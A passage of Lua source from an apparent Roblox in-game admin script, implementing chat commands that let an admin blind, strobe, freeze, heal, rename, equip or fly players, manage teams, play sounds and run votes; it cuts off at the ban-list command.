  3123. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3124. for _,Player in pairs(Players) do
  3125. if Player ~= nil then
  3126. if Player.PlayerGui ~= nil then
  3127. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3128. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
  3129. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.ZIndex = 100
  3130. end
  3131. end
  3132. end
  3133. end
  3134.  
  3135. if string.sub(Message, 1, 7+#Bet) == "noblind"..Bet then
  3136. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3137. for _,Player in pairs(Players) do
  3138. if Player ~= nil then
  3139. if Player.PlayerGui ~= nil then
  3140. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3141. end
  3142. end
  3143. end
  3144. end
  3145.  
  3146. if string.sub(Message, 1, 6+#Bet) == "strobe"..Bet then
  3147. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3148. for _,Player in pairs(Players) do
  3149. if Player ~= nil then
  3150. if Player.PlayerGui ~= nil then
  3151. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3152. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
  3153. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  3154. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  3155. end
  3156. end
  3157. end
  3158. end
  3159.  
  3160. if string.sub(Message,1,5+#Bet) == "point"..Bet then
  3161. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3162. local PlayersFrom = Scan(Arg1, Speaker)
  3163. local PlayersTo = Scan(Arg2, Speaker)
  3164. if PlayersFrom and PlayersTo then
  3165. for _,PlayerFrom in pairs(PlayersFrom) do
  3166. if PlayerFrom ~= nil then
  3167. for _,PlayerTo in pairs(PlayersTo) do
  3168. if PlayerTo ~= nil then
  3169. if PlayerFrom.Character and PlayerTo.Character then
  3170. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  3171. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = BrickColor.Random()
  3172. wait(5)
  3173. Laser:Destroy()
  3174. end)() end
  3175. end
  3176. end
  3177. end
  3178. end
  3179. end
  3180. end
  3181. end
  3182.  
  3183. --[[if string.sub(Message,1,5+#Bet) == "merge"..Bet then
  3184. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3185. local PlayersFrom = Scan(Arg1, Speaker)
  3186. local PlayersTo = Scan(Arg2, Speaker)
  3187. if PlayersFrom and PlayersTo then
  3188. for _,PlayerFrom in pairs(PlayersFrom) do
  3189. if PlayerFrom ~= nil then
  3190. for _,PlayerTo in pairs(PlayersTo) do
  3191. if PlayerTo ~= nil then
  3192. if PlayerFrom.Character and PlayerTo.Character then
  3193. PlayerFrom.Character = PlayerTo.Character
  3194. end
  3195. end
  3196. end
  3197. end
  3198. end
  3199. end
  3200. end]]
  3201.  
  3202. if string.sub(Message,1,5+#Bet) == "speed"..Bet then
  3203. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3204. local Players = Scan(Arg1, Speaker)
  3205. local Speed = tonumber(Arg2)
  3206. for _,Player in pairs(Players) do
  3207. if Player ~= nil then
  3208. if Player.Character ~= nil then
  3209. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3210. Player.Character.Humanoid.WalkSpeed = Speed
  3211. end
  3212. end
  3213. end
  3214. end
  3215. end
  3216.  
  3217. if string.sub(Message,1,6+#Bet) == "health"..Bet then
  3218. local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  3219. local Players = Scan(Arg1, Speaker)
  3220. local Health = tonumber(Arg2)
  3221. for _,Player in pairs(Players) do
  3222. if Player ~= nil then
  3223. if Player.Character ~= nil then
  3224. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3225. Player.Character.Humanoid.Health = Health
  3226. end
  3227. end
  3228. end
  3229. end
  3230. end
  3231.  
  3232. if string.sub(Message,1,4+#Bet) == "give"..Bet then
  3233. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3234. local Players = Scan(Arg1, Speaker)
  3235. local Object = Arg2
  3236. for _,Player in pairs(Players) do
  3237. if Player ~= nil then
  3238. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  3239. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  3240. if Object == "psbtools" then
  3241. for _,Tool in pairs(BuildTools) do
  3242. Insert(Tool, Player.Backpack, true)
  3243. end
  3244. elseif Object == "basicbtools" then
  3245. for Name,Type in pairs(BaseBuildTools) do
  3246. local Tool = Instance.new("HopperBin", Player.Backpack)
  3247. Tool.Name = Name
  3248. Tool.BinType = Type
  3249. end
  3250. elseif Object == "f3xtools" or Object == "fextools" then
  3251. local BTools = script:FindFirstChild("Building Tools")
  3252. if BTools then
  3253. local Tools = BTools:Clone()
  3254. Tools.Handle.Anchored = false
  3255. Tools.Parent = Player.Backpack
  3256. end
  3257. elseif Object == "btools" then
  3258. for Name,Type in pairs(BaseBuildTools) do
  3259. local Tool = Instance.new("HopperBin", Player.Backpack)
  3260. Tool.Name = Name
  3261. Tool.BinType = Type
  3262. end
  3263. for _,Tool in pairs(BuildTools) do
  3264. Insert(Tool, Player.Backpack, true)
  3265. end
  3266. local BTools = script:FindFirstChild("Building Tools")
  3267. if BTools then
  3268. local Tools = BTools:Clone()
  3269. Tools.Handle.Anchored = false
  3270. Tools.Parent = Player.Backpack
  3271. end
  3272. else
  3273. local Regions = {Lighting}
  3274. for _,Region in pairs(Regions) do
  3275. for _,Item in pairs(Region:GetChildren()) do
  3276. if Item:IsA("HopperBin") or Item:IsA("Tool") then
  3277. if Object == "all" then
  3278. local NewItem = Item:Clone()
  3279. NewItem.Parent = Player.Backpack
  3280. else
  3281. if string.sub(string.lower(Item.Name),1,#Object) == string.lower(Object) then
  3282. local NewItem = Item:Clone()
  3283. NewItem.Parent = Player.Backpack
  3284. end
  3285. end
  3286. end
  3287. end
  3288. end
  3289. end
  3290. end
  3291. end
  3292. end
  3293.  
  3294. if string.sub(Message,1,7+#Bet) == "control"..Bet then
  3295. local Player = Scan(string.sub(Message, 8+#Bet), Speaker)[1]
  3296. if Player ~= nil and Player ~= Speaker then
  3297. if Player.Character ~= nil then
  3298. local Position = Player.Character.Torso.Position
  3299. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
  3300. wait() Speaker:LoadCharacter() wait()
  3301. Speaker.Character:MoveTo(Position)
  3302. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  3303.  
  3304. Player.Character.Parent = nil
  3305.  
  3306. wait()
  3307.  
  3308. ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  3309. ChangeName(Speaker, Player.Name)
  3310. end
  3311. end
  3312. end
  3313.  
  3314. if string.sub(Message,1,4+#Bet) == "time"..Bet then
  3315. local Time = string.sub(Message,6)
  3316. if Time == "day" or Time == "noon" then Time = "12" end
  3317. if Time == "night" or Time == "midnight" then Time = "0" end
  3318. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  3319. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  3320. if Time == "afternoon" then Time = "15:30" end
  3321. ypcall(function() game.Lighting.TimeOfDay = Time end)
  3322. end
  3323.  
  3324. if string.sub(Message,1,4+#Bet) == "team"..Bet then
  3325. if string.sub(Message,5+#Bet,8+#Bet) == "new"..Bet then
  3326. local NewTeam = Instance.new("Team", Teams)
  3327. NewTeam.TeamColor = BrickColor.random()
  3328. NewTeam.Name = string.sub(RawMessage,9+#Bet)
  3329. end
  3330. if string.sub(Message,5+#Bet,9+#Bet) == "join"..Bet then
  3331. local Arg1, Arg2 = GetSplit(string.sub(Message, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
  3332. local Players = Scan(Arg1, Speaker)
  3333. local TeamName = Arg2
  3334. if string.lower(TeamName) == "none" then
  3335. for _,Player in pairs(Players) do
  3336. if Player ~= nil then
  3337. Player.Neutral = true
  3338. end
  3339. end
  3340. else
  3341. for _,Obj in pairs(Teams:GetChildren()) do
  3342. if Obj:IsA("Team") then
  3343. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3344. for _,Player in pairs(Players) do
  3345. if Player ~= nil then
  3346. Player.Neutral = false
  3347. Player.TeamColor = Obj.TeamColor
  3348. end
  3349. end
  3350. end
  3351. end
  3352. end
  3353. end
  3354. end
  3355. if string.sub(Message,5+#Bet,11+#Bet) == "rename"..Bet then
  3356. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
  3357. local TeamName = Arg1
  3358. local NewName = Arg2
  3359. for _,Obj in pairs(Teams:GetChildren()) do
  3360. if Obj:IsA("Team") then
  3361. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3362. Obj.Name = NewName
  3363. end
  3364. end
  3365. end
  3366. end
  3367. if string.sub(Message,5+#Bet,11+#Bet) == "remove"..Bet then
  3368. local TeamName = string.sub(Message, 12+#Bet)
  3369. for _,Obj in pairs(Teams:GetChildren()) do
  3370. if Obj:IsA("Team") then
  3371. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3372. for _,Player in pairs(Players:GetPlayers()) do
  3373. if Player.TeamColor == Obj.TeamColor then
  3374. Player.Neutral = true
  3375. end
  3376. end
  3377. Obj:Destroy()
  3378. end
  3379. end
  3380. end
  3381. end
  3382. end
  3383.  
  3384. if string.sub(Message,1,4+#Bet) == "name"..Bet then
  3385. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3386. local Players = Scan(Arg1, Speaker)
  3387. local NewName = Arg2
  3388. for _,Player in pairs(Players) do
  3389. if Player ~= nil then
  3390. ChangeName(Player, NewName)
  3391. end
  3392. end
  3393. end
  3394.  
  3395. if string.sub(Message,1,6+#Bet) == "noname"..Bet then
  3396. local Players = Scan(string.sub(RawMessage, 7+#Bet), Speaker)
  3397. for _,Player in pairs(Players) do
  3398. if Player ~= nil then
  3399. if Player.Character ~= nil then
  3400. local Head = Player.Character:FindFirstChild("Label")
  3401. if Head then Head:Destroy() end
  3402. local Head = Player.Character:FindFirstChild("Head")
  3403. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  3404. end
  3405. end
  3406. end
  3407. end
  3408.  
  3409. if string.sub(Message,1,7+#Bet) == "product"..Bet then
  3410. local Arg1, Arg2 = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
  3411. local Players = Scan(Arg1, Speaker)
  3412. local Item = tonumber(Arg2)
  3413. for _,Player in pairs(Players) do
  3414. if Player ~= nil then
  3415. PromptPurchase(Player, Item)
  3416. end
  3417. end
  3418. end
  3419.  
  3420. if string.sub(Message,1,5+#Bet) == "debug"..Bet then
  3421. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3422. for _,Player in pairs(Players) do
  3423. if Player ~= nil then
  3424. if Player.Character ~= nil then
  3425. local Position = nil
  3426. if Player.Character:FindFirstChild("Torso") then Position = Player.Character.Torso.Position end
  3427. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
  3428. wait() Player:LoadCharacter() wait()
  3429. if Position then Player.Character:MoveTo(Position) end
  3430. wait(0.1) RestoreCamera(Player)
  3431. end
  3432. end
  3433. end
  3434. end
  3435.  
  3436. if string.sub(Message,1,5+#Bet) == "clone"..Bet then
  3437. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3438. for _,Player in pairs(Players) do
  3439. if Player ~= nil then
  3440. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  3441. Player.Character.Archivable = true
  3442. local Clone = Player.Character:Clone()
  3443. Player.Character.Archivable = false
  3444. Clone.Parent = Workspace
  3445. Clone:MoveTo(Clone.Torso.Position)
  3446. Clone:MakeJoints()
  3447. table.insert(Objects, Clone)
  3448. end
  3449. end
  3450. end
  3451. end
  3452.  
  3453. if string.sub(Message,1,5+#Bet) == "sound"..Bet or string.sub(Message,1,5+#Bet) == "music"..Bet or string.sub(Message,1,5+#Bet) == "audio"..Bet then
  3454. local SoundID,Pitch = string.sub(Message, 6+#Bet),1
  3455. for Name,Info in pairs(SoundList) do
  3456. if SoundID == string.lower(Name) then SoundID = Info[1] end
  3457. end
  3458. if SoundID == 131201443 then Pitch = -1 end
  3459. if SoundID == 130775695 then Pitch = 0.8 end
  3460. if SoundID == 144035866 then Pitch = 0.8 end
  3461. for _,Obj in pairs(game.Workspace:GetChildren()) do
  3462. if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
  3463. end
  3464. Sound = Instance.new("Sound", Workspace) Sound.Name = "LuaModelMaker's Admin Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id="..SoundID Sound.Looped = true Sound.Pitch = Pitch Sound.Archivable = false coroutine.wrap(function() repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound end)()
  3465. end
  3466.  
  3467. if Message == "soundlist" or Message == "musiclist" or Message == "audiolist" or Message == "sounds" or Message == "musics" or Message == "audios" then
  3468. local DisplayList = {}
  3469. for Name,Info in pairs(SoundList) do
  3470. table.insert(DisplayList, "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2])
  3471. end
  3472. ListGui(Speaker, "Sound List", DisplayList)
  3473. end
  3474.  
  3475. if string.sub(Message,1,7) == "nosound" then
  3476. for _,Obj in pairs(game.Workspace:GetChildren()) do
  3477. if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
  3478. end
  3479. end
  3480.  
  3481. if string.sub(Message,1,6+#Bet) == "freeze"..Bet then
  3482. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3483. for _,Player in pairs(Players) do
  3484. if Player ~= nil then
  3485. if Player.Character ~= nil then
  3486. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3487. Player.Character.Humanoid.WalkSpeed = 0
  3488. for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
  3489. Object.Anchored = true
  3490. end end
  3491. end
  3492. end
  3493. end
  3494. end
  3495. end
  3496.  
  3497. if string.sub(Message,1,8+#Bet) == "nofreeze"..Bet then
  3498. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3499. for _,Player in pairs(Players) do
  3500. if Player ~= nil then
  3501. if Player.Character ~= nil then
  3502. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3503. Player.Character.Humanoid.WalkSpeed = 16
  3504. for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
  3505. Object.Anchored = false
  3506. end end
  3507. end
  3508. end
  3509. end
  3510. end
  3511. end
  3512.  
  3513. if string.sub(Message,1,8+#Bet) == "forwards"..Bet then
  3514. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3515. for _,Player in pairs(Players) do
  3516. if Player ~= nil then
  3517. if Player.Character ~= nil then
  3518. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3519. Player.Character.Humanoid.WalkSpeed = 16
  3520. end
  3521. end
  3522. end
  3523. end
  3524. end
  3525.  
  3526. if string.sub(Message,1,9+#Bet) == "backwards"..Bet then
  3527. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3528. for _,Player in pairs(Players) do
  3529. if Player ~= nil then
  3530. if Player.Character ~= nil then
  3531. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3532. Player.Character.Humanoid.WalkSpeed = -16
  3533. end
  3534. end
  3535. end
  3536. end
  3537. end
  3538.  
  3539. if string.sub(Message, 1, 9+#Bet) == "shownotes"..Bet or string.sub(Message, 1, 9+#Bet) == "loadnotes"..Bet then
  3540. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3541. local DataSet = {}
  3542. for _,Player in pairs(Players) do
  3543. if Player ~= nil then
  3544. local ExistingData = Player:LoadInstance("Data")
  3545. if ExistingData ~= nil then
  3546. if #ExistingData:GetChildren() ~= 0 then
  3547. for _,Data in pairs(ExistingData:GetChildren()) do
  3548. table.insert(DataSet, Player.Name..": "..Data.Name)
  3549. end
  3550. else
  3551. table.insert(DataSet, "Data does not exist for "..Player.Name)
  3552. end
  3553. else
  3554. table.insert(DataSet, "Data does not exist for "..Player.Name)
  3555. end
  3556. end
  3557. end
  3558. ListGui(Speaker, "Notes", DataSet)
  3559. end
  3560.  
  3561. if string.sub(Message,1,7+#Bet) == "notools"..Bet then
  3562. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3563. for _,Player in pairs(Players) do
  3564. if Player ~= nil then
  3565. if Player.Backpack ~= nil then
  3566. Player.Backpack:ClearAllChildren()
  3567. end
  3568. if Player.Character ~= nil then
  3569. for _,Obj in pairs(Player.Character:GetChildren()) do
  3570. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  3571. Obj:Destroy()
  3572. end
  3573. end
  3574. end
  3575. end
  3576. end
  3577. end
  3578.  
  3579. if string.sub(Message,1,6+#Bet) == "nohats"..Bet then
  3580. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3581. for _,Player in pairs(Players) do
  3582. if Player ~= nil then
  3583. if Player.Character ~= nil then
  3584. for _,Obj in pairs(Player.Character:GetChildren()) do
  3585. if Obj:IsA("Hat") then
  3586. Obj:Destroy()
  3587. end
  3588. end
  3589. end
  3590. end
  3591. end
  3592. end
  3593.  
  3594. if string.sub(Message,1,9+#Bet) == "taketools"..Bet then
  3595. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3596. for _,Player in pairs(Players) do
  3597. if Player ~= nil then
  3598. if Player.Backpack ~= nil then
  3599. if Speaker.Backpack ~= nil then
  3600. for _,Object in pairs(Player.Backpack:GetChildren()) do
  3601. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  3602. local Clone = Object:Clone()
  3603. Clone.Parent = Speaker.Backpack
  3604. end
  3605. end
  3606. end
  3607. end
  3608. end
  3609. end
  3610. end
  3611.  
  3612. if string.sub(Message,1,9+#Bet) == "givetools"..Bet then
  3613. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3614. for _,Player in pairs(Players) do
  3615. if Player ~= nil then
  3616. if Player.Backpack ~= nil then
  3617. if Speaker.Backpack ~= nil then
  3618. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  3619. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  3620. local Clone = Object:Clone()
  3621. Clone.Parent = Player.Backpack
  3622. end
  3623. end
  3624. end
  3625. end
  3626. end
  3627. end
  3628. end
  3629.  
  3630. if string.sub(Message,1,4+#Bet) == "heal"..Bet then
  3631. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3632. for _,Player in pairs(Players) do
  3633. if Player ~= nil then
  3634. if Player.Character ~= nil then
  3635. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3636. Player.Character.Humanoid.MaxHealth = 100
  3637. Player.Character.Humanoid.Health = 100
  3638. end
  3639. end
  3640. end
  3641. end
  3642. end
  3643.  
  3644. if string.sub(Message,1,4+#Bet) == "face"..Bet then
  3645. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3646. local Players = Scan(Arg1, Speaker)
  3647. local ID = Arg2
  3648. if tonumber(Arg2) ~= nil then
  3649. ID = GetImageFormat(tonumber(ID))
  3650. else
  3651. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  3652. for _,Face in pairs(FaceTable) do
  3653. if string.lower(Arg2) == string.lower(Face) then
  3654. ID = FaceID
  3655. break
  3656. end
  3657. end
  3658. end
  3659. end
  3660. for _,Player in pairs(Players) do
  3661. if Player ~= nil then
  3662. if Player.Character ~= nil then
  3663. if Player.Character.Head ~= nil then
  3664. if Player.Character.Head.face ~= nil then
  3665. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id="..ID
  3666. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "http://www.roblox.com/asset/?id="..ID end)
  3667. end
  3668. end
  3669. end
  3670. end
  3671. end
  3672. end
  3673.  
  3674. if string.sub(Message,1,2+#Bet) == "pm"..Bet then
  3675. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
  3676. local Players = Scan(Arg1, Speaker)
  3677. local MessageArg = Arg2
  3678. for _,Player in pairs(Players) do
  3679. if Player ~= nil then
  3680. SendMessage(Player, "Message from "..Speaker.Name, MessageArg, 5)
  3681. end
  3682. end
  3683. end
  3684.  
  3685. if string.sub(Message,1,3+#Bet) == "fly"..Bet then
  3686. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3687. for _,Player in pairs(Players) do
  3688. if Player ~= nil then
  3689. Fly(Player, 10000)
  3690. end
  3691. end
  3692. end
  3693.  
  3694. if string.sub(Message,1,5+#Bet) == "nofly"..Bet then
  3695. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3696. for _,Player in pairs(Players) do
  3697. if Player ~= nil then
  3698. if Player.Character ~= nil then
  3699. Instance.new("Configuration", Player.Character).Name = "LM".."MFlyStop"
  3700. end
  3701. end
  3702. end
  3703. end
  3704.  
  3705. if string.sub(Message,1,10+#Bet) == "brightness"..Bet then
  3706. Lighting.Brightness = tonumber(string.sub(Message, 11+#Bet)) or 1
  3707. end
  3708.  
  3709. if string.sub(Message,1,6+#Bet) == "noclip"..Bet then
  3710. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3711. for _,Player in pairs(Players) do
  3712. if Player ~= nil then
  3713. Fly(Player, 1000000)
  3714. end
  3715. end
  3716. end
  3717.  
  3718. if string.sub(Message,1,5+#Bet) == "invis"..Bet then
  3719. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3720. for _,Player in pairs(Players) do
  3721. if Player ~= nil then
  3722. if Player.Character ~= nil then
  3723. for _,Object in pairs(Player.Character:GetChildren()) do
  3724. if Object:IsA("BasePart") then
  3725. Object.Transparency = 1
  3726. end
  3727. for _,Obj in pairs(Object:GetChildren()) do
  3728. if Obj:IsA("BasePart") then
  3729. Obj.Transparency = 1
  3730. elseif Obj:IsA("Decal") then
  3731. Obj.Transparency = 1
  3732. end
  3733. end
  3734. end
  3735. end
  3736. end
  3737. end
  3738. end
  3739.  
  3740. if string.sub(Message,1,3+#Bet) == "vis"..Bet then
  3741. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3742. for _,Player in pairs(Players) do
  3743. if Player ~= nil then
  3744. if Player.Character ~= nil then
  3745. for _,Object in pairs(Player.Character:GetChildren()) do
  3746. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  3747. Object.Transparency = 0
  3748. end end
  3749. for _,Obj in pairs(Object:GetChildren()) do
  3750. if Obj:IsA("BasePart") then
  3751. Obj.Transparency = 0
  3752. elseif Obj:IsA("Decal") then
  3753. Obj.Transparency = 0
  3754. end
  3755. end
  3756. end
  3757. end
  3758. end
  3759. end
  3760. end
  3761.  
  3762. if string.sub(Message,1,8+#Bet) == "headsize"..Bet then
  3763. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  3764. local Players = Scan(Arg1, Speaker)
  3765. local Size = tonumber(Arg2)+25
  3766. for _,Player in pairs(Players) do
  3767. if Player ~= nil then
  3768. if Player.Character ~= nil then
  3769. if Player.Character:FindFirstChild("Head") ~= nil then
  3770. if Player.Character.Head:FindFirstChild("Mesh") then
  3771. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  3772. end
  3773. end
  3774. end
  3775. end
  3776. end
  3777. end
  3778.  
  3779. if string.sub(Message,1,7+#Bet) == "overlay"..Bet then
  3780. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
  3781. local Players = Scan(Arg1, Speaker)
  3782. local ID = GetImageFormat(tonumber(Arg2) or 1)
  3783. for _,Player in pairs(Players) do
  3784. if Player ~= nil then
  3785. if Player.Character ~= nil then
  3786. if Player.Character:FindFirstChild("Head") ~= nil then
  3787. local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
  3788. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "LMMA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  3789. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "http://www.roblox.com/asset/?id="..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  3790. end
  3791. end
  3792. end
  3793. end
  3794. end
  3795.  
  3796. if string.sub(Message,1,9+#Bet) == "nooverlay"..Bet then
  3797. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3798. for _,Player in pairs(Players) do
  3799. if Player ~= nil then
  3800. if Player.Character ~= nil then
  3801. if Player.Character:FindFirstChild("Head") ~= nil then
  3802. local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
  3803. end
  3804. end
  3805. end
  3806. end
  3807. end
  3808.  
  3809. if string.sub(Message,1,5+#Bet) == "light"..Bet then
  3810. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3811. for _,Player in pairs(Players) do
  3812. if Player ~= nil then
  3813. if Player.Character ~= nil then
  3814. if Player.Character:FindFirstChild("Torso") ~= nil then
  3815. local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
  3816. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "LMM Light" Light.Range = 20 Light.Brightness = 2
  3817. end
  3818. end
  3819. end
  3820. end
  3821. end
  3822.  
  3823. if string.sub(Message,1,7+#Bet) == "nolight"..Bet then
  3824. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3825. for _,Player in pairs(Players) do
  3826. if Player ~= nil then
  3827. if Player.Character ~= nil then
  3828. if Player.Character:FindFirstChild("Torso") ~= nil then
  3829. local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
  3830. end
  3831. end
  3832. end
  3833. end
  3834. end
  3835.  
  3836. if string.sub(Message,1,4+#Bet) == "lamp"..Bet then
  3837. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3838. for _,Player in pairs(Players) do
  3839. if Player ~= nil then
  3840. if Player.Character ~= nil then
  3841. if Player.Character:FindFirstChild("Torso") ~= nil then
  3842. local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
  3843. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "LMM Lamp" Light.Range = 30 Light.Brightness = 5
  3844. end
  3845. end
  3846. end
  3847. end
  3848. end
  3849.  
  3850. if string.sub(Message,1,6+#Bet) == "nolamp"..Bet then
  3851. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3852. for _,Player in pairs(Players) do
  3853. if Player ~= nil then
  3854. if Player.Character ~= nil then
  3855. if Player.Character:FindFirstChild("Torso") ~= nil then
  3856. local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
  3857. end
  3858. end
  3859. end
  3860. end
  3861. end
  3862.  
  3863. if string.sub(Message,1,4+#Bet) == "vote"..Bet then
  3864. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3865. local Players = Scan(Arg1, Speaker)
  3866. local Arg2, Arg3 = GetSplit(Arg2, Bet) if not Arg2 and Arg3 then return end
  3867. if tonumber(Arg2) == nil then
  3868. SendMessage(Speaker, "Invalid", "Please set a time, For example: "..Prefix.."Vote all 10 Do you like this admin?", 5)
  3869. else
  3870. Vote(Players, Speaker, Arg3, tonumber(Arg2))
  3871. end
  3872. end
  3873.  
  3874. if Message == "bans" or Message == "banlist" then
